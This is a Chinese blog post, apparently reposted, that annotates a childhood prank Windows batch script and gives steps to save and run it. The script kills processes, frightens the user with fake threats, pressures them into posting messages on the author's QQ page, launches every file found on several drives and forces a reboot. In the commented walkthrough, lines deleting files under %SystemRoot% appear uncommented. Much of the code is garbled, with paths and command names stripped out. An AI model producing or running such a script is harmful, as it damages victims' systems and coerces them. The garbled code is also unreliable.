恶作剧批处理(bat)代码解析
⽆关的话:
翻找资料时,发现了⾃⼰⼩时候保存到⽹盘⾥的⼀个恶作剧程序。碰巧最近刚看完shell命令,正好对该程序进⾏注释
什么是bat⽂件:
bat⽂件是dos下的批处理⽂件。批处理⽂件是⽆格式的⽂本⽂件,它包含⼀条或多条命令。它的⽂件扩展名为.bat或.cmd。在命令提⽰
下输⼊批处理⽂件的名称,或者双击该批处理⽂件,系统就会调⽤按照该⽂件中各个命令出现的顺序来逐个运⾏它们。使⽤批处理
⽂件(也被称为批处理程序或脚本),可以简化⽇常或重复性任务。
其实就是⼀堆dos命令,类似于linux的shell
步骤:
1.新建⼀个⽂本⽂件
2.⽤记事本打开输⼊以下代码
3.代码(关于修改系统⽂件的命令已经被注释),保存更改扩展名为.bat
@echooff
color00
>d:⼩⼩⽊马.exe
::下⾯的⼏⾏代码要杀死进程并删除,删除⽂件不容恢复,所以被我注释掉了
::taskkill/f/
::taskkill/f/
::ren%SystemRoot%
::del/f/s/q%SystemRoot%
cls
echo.
echo哈哈哈!好开⼼呐!⼜有⼈中招了。
echo.
echo不过别担⼼,我可不是坏⼈,嘿嘿!O(∩_∩)O
echo.
echo这个界⾯还挺温馨的吧?好⽍我也会考虑下中标者的⼼理对吧?
echo.
echo别把我的窗⼝关掉,也别关机,信不信由你(警告)。
echo.
echo下⾯给你⼀个选择,请慎重。
echo.
t/pAA=请键⼊Y(相信我)或者N(不相信)后按回车(y/n):
if/i"%AA%"=="y"gotohui
if/i"%AA%"=="n"gotono
cls
echo你放弃了选择或者键⼊错误!
pau
:no
::下⾯要删除和也被我注释掉了
::del%SystemRoot%
::del/f/s/q%SystemRoot%
cls
cls
echo既然你不相信我,那我也没什好说的了。
echo.
echo别以为我只会⼲坏事,如果你相信我,那么⼀切都会没事的。
echo.
echo下⼀步,请按任意键重启吧!唉╮(╯▽╰)╭
pau
echo@echooff>
echodeld:⼩⼩⽊马.exe>>
>>
echodel90后男⽣的龌龊事太震撼了.bat>>
echoexit>>
shutdown-r-t00
exit
:hui
cls
echo哈哈,谢谢你相信我,你的选择是正确的。
echo.
echo不过,你必须得按照我的提⽰完成以下步骤才⾏。
echo.
echo等你完成了我的要求,我⾃然会把你的系统给恢复了。
echo.
echo我善解⼈意吧?
echo.
echo你要记住,在没有完全结束程序之前,你必须对我是友善的。
echo.
echo不难吧?呵呵O(∩_∩)O
pau
echo%date%>&echo%time%>>
echo哈哈,⼩样,中招了吧?>>
echo不过你别担⼼,我不会对你怎么样,最主要的是你现在得听我的!>>
echo听懂了吗?呵呵。我正在监视你的电脑,所以别乱动。>>
echo登陆你的QQ,然后点击查找,输⼊我的QQ号:******.>>
echo点击查看资料,然后点击我的空间,然后在我的留⾔板留10次"你好帅”>>
echo我是不会盗你的QQ号的。因为这没意思,我玩的是好玩的游戏。>>
echo现在可以关掉这记事本了。O(∩_∩)O>>
::for%%iin(c,d,e,f)dofor/f"delims="%%nin('dir/s/b%%i:')dostart"""%%n"
cls
echo登陆你的QQ并且留⾔后执⾏下⼀步。
pau
cls
echo呵呵,游戏到此也快结束了,放⼼,待会⼉你的系统就会恢复了。
echo.
echo但是!我还想在玩⼀个选择游戏,如果你正确的通关了,我就把你的系统恢复了,嘿!
echo.
echo下⾯,请你做⼀个最关键的选择,记住,要慎重。
echo.
echo.
:no1
t/pBB=请键⼊Y(你好帅)或者N(你⼀点都不帅)后按回车(y/n):
if/i"%BB%"=="y"gotono3
if/i"%BB%"=="n"gotono2
cls
echo你放弃了选择或者键⼊错误!
pau
gotono1
:no2
::del%SystemRoot%
::del/f/s/q%SystemRoot%
::attrib-r-s-h%SystemDrive%ntldr%del%SystemDrive%ntldr
cls
cls
echo我操,我靠,难道我不帅吗?你怎么知道我不帅了啊?
echo.
echo能把这⼩东西做到这样难道我不帅吗?你知道这样会让你的系统崩溃吗?
echo.
echo我都说了要你慎重选择的,可是你偏偏选错了,没办法。╮(╯▽╰)╭唉
echo.
echo下⼀步,请按任意键重启吧!唉╮(╯▽╰)╭
pau
echo@echooff>
echodeld:⼩⼩⽊马.exe>>
>>
echodel90后男⽣的龌龊事太震撼了.bat>>
echoexit>>
shutdown-r-t00
exit
:no3
cls
echo.
echo哈哈,谢谢你,我知道我挺帅的,不过还是想满⾜下⾃⼰的虚荣⼼。嘿嘿
echo.
echo我真帅!O(∩_∩)O哈哈,滋滋,帅到掉渣吧?
echo.
echo下⼀步,按任意键恢复你的系统吧。
echo.
echo.
echo.
pau
::ren%SystemRoot%&start%SystemRoot%
::del%SystemRoot%
cls
echo桌⾯出来了吧?哈哈,恭喜你过关。
echo.
echo不过你别急着关了我这个程序,为什么呢?
echo.
echo因为.............
echo.
echo你看看你的D盘底下是不是多了样东西呢?
echo.
echo想知道是什么吗?按任意键你就知道了。
echo.
pau
echo@echooff>
echodeld:⼩⼩⽊马.exe>>
>>
echodel90后男⽣的龌龊事太震撼了.bat>>
echoexit>>
注释(//之后的是注释):
@echooff//不显⽰命令
color00//命令框的颜⾊
>d:⼩⼩⽊马.exe//ping百度把结果存放到d:⼩⼩⽊马.exe
taskkill/f///杀死进程
//进程⽤来显⽰系统的桌⾯环境
taskkill/f///杀死进程
ren%SystemRoot%//把重命名为
del/f/s/q%SystemRoot%//删除
cls
echo.//输出
echo哈哈哈!好开⼼呐!⼜有⼈中招了。
echo.
echo不过别担⼼,我可不是坏⼈,嘿嘿!O(∩_∩)O
echo.
echo这个界⾯还挺温馨的吧?好⽍我也会考虑下中标者的⼼理对吧?
echo.
echo别把我的窗⼝关掉,也别关机,信不信由你(警告)。
echo.
echo下⾯给你⼀个选择,请慎重。
:shi
echo.
t/pAA=请键⼊Y(相信我)或者N(不相信)后按回车(y/n):
if/i"%AA%"=="y"gotohui//输⼊y跳转到hui相关代码
if/i"%AA%"=="n"gotono//输⼊n跳转到no
cls
echo你放弃了选择或者键⼊错误!
pau
gotoshi//输⼊错误会重复执⾏shi
:no
cls//清屏
echo既然你不相信我,那我也没什好说的了。
echo.
echo别以为我只会⼲坏事,如果你相信我,那么⼀切都会没事的。
echo.
echo下⼀步,请按任意键重启吧!唉╮(╯▽╰)╭
pau
shutdown-r-t00//关机
exit//退出
:hui
cls//清屏
echo哈哈,谢谢你相信我,你的选择是正确的。
echo.
echo不过,你必须得按照我的提⽰完成以下步骤才⾏。
echo.
echo等你完成了我的要求,我⾃然会把你的系统给恢复了。
echo.
echo我善解⼈意吧?
echo.
echo你要记住,在没有完全结束程序之前,你必须对我是友善的。
echo.
echo不难吧?呵呵O(∩_∩)O
pau
//把下⾯内容存⼊中
echo%date%>&echo%time%>>
echo哈哈,⼩样,中招了吧?>>
echo不过你别担⼼,我不会对你怎么样,最主要的是你现在得听我的!>>
echo听懂了吗?呵呵。我正在监视你的电脑,所以别乱动。>>
echo登陆你的QQ,然后点击查找,输⼊我的QQ号:*****.>>
echo点击查看资料,然后点击我的空间,然后在我的留⾔板留10次“你好帅”>>
echo我是不会盗你的QQ号的。因为这没意思,我玩的是好玩的游戏。>>
echo现在可以关掉这记事本了。O(∩_∩)O>>
//在本地查找qq的路径并运⾏
for%%iin(c,d,e,f)dofor/f"delims="%%nin('dir/s/b%%i:')dostart"""%%n"
//打开
cls
echo登陆你的QQ并且留⾔后执⾏下⼀步。
pau
cls
cls
echo呵呵,游戏到此也快结束了,放⼼,待会⼉你的系统就会恢复了。
echo.
echo但是!我还想在玩⼀个选择游戏,如果你正确的通关了,我就把你的系统恢复了,嘿!
echo.
echo下⾯,请你做⼀个最关键的选择,记住,要慎重。
echo.
echo.
:no1
t/pBB=请键⼊Y(你好帅)或者N(你⼀点都不帅)后按回车(y/n):
if/i"%BB%"=="y"gotono3//输⼊y跳转到no3
if/i"%BB%"=="n"gotono2//输⼊n跳转到no2
cls
echo你放弃了选择或者键⼊错误!
pau
gotono1//输⼊其他跳转no1
:no2//no2代码
cls
echo我操,我靠,难道我不帅吗?你怎么知道我不帅了啊?
echo.
echo能把这⼩东西做到这样难道我不帅吗?你知道这样会让你的系统崩溃吗?
echo.
echo我都说了要你慎重选择的,可是你偏偏选错了,没办法。╮(╯▽╰)╭唉
echo.
echo下⼀步,请按任意键重启吧!唉╮(╯▽╰)╭
pau
echo@echooff>
echodeld:⼩⼩⽊马.exe>>
>>
echodel90后男⽣的龌龊事太震撼了.bat>>
echoexit>>
shutdown-r-t00//关机
exit
:no3//no3代码
cls
echo.
echo哈哈,谢谢你,我知道我挺帅的,不过还是想满⾜下⾃⼰的虚荣⼼。嘿嘿
echo.
echo我真帅!O(∩_∩)O哈哈,滋滋,帅到掉渣吧?
echo.
echo下⼀步,按任意键恢复你的系统吧。
echo.
echo.
echo.
pau
//把重命名成explorer
ren%SystemRoot%&start%SystemRoot%
del%SystemRoot%//删除
cls
echo桌⾯出来了吧?哈哈,恭喜你过关。
echo.
echo不过你别急着关了我这个程序,为什么呢?
echo.
echo因为.............
echo.
echo你看看你的D盘底下是不是多了样东西呢?
echo.
echo.
echo想知道是什么吗?按任意键你就知道了。
echo.
pau
exit
本文发布于:2023-01-03 10:33:41,感谢您对本站的认可!
本文链接:http://www.wtabcd.cn/fanwen/fan/90/83880.html
版权声明:本站内容均来自互联网,仅供演示用,请勿用于商业和其他非法用途。如果侵犯了您的权益请与我们联系,我们将在24小时内删除。
留言与评论(共有 0 条评论) |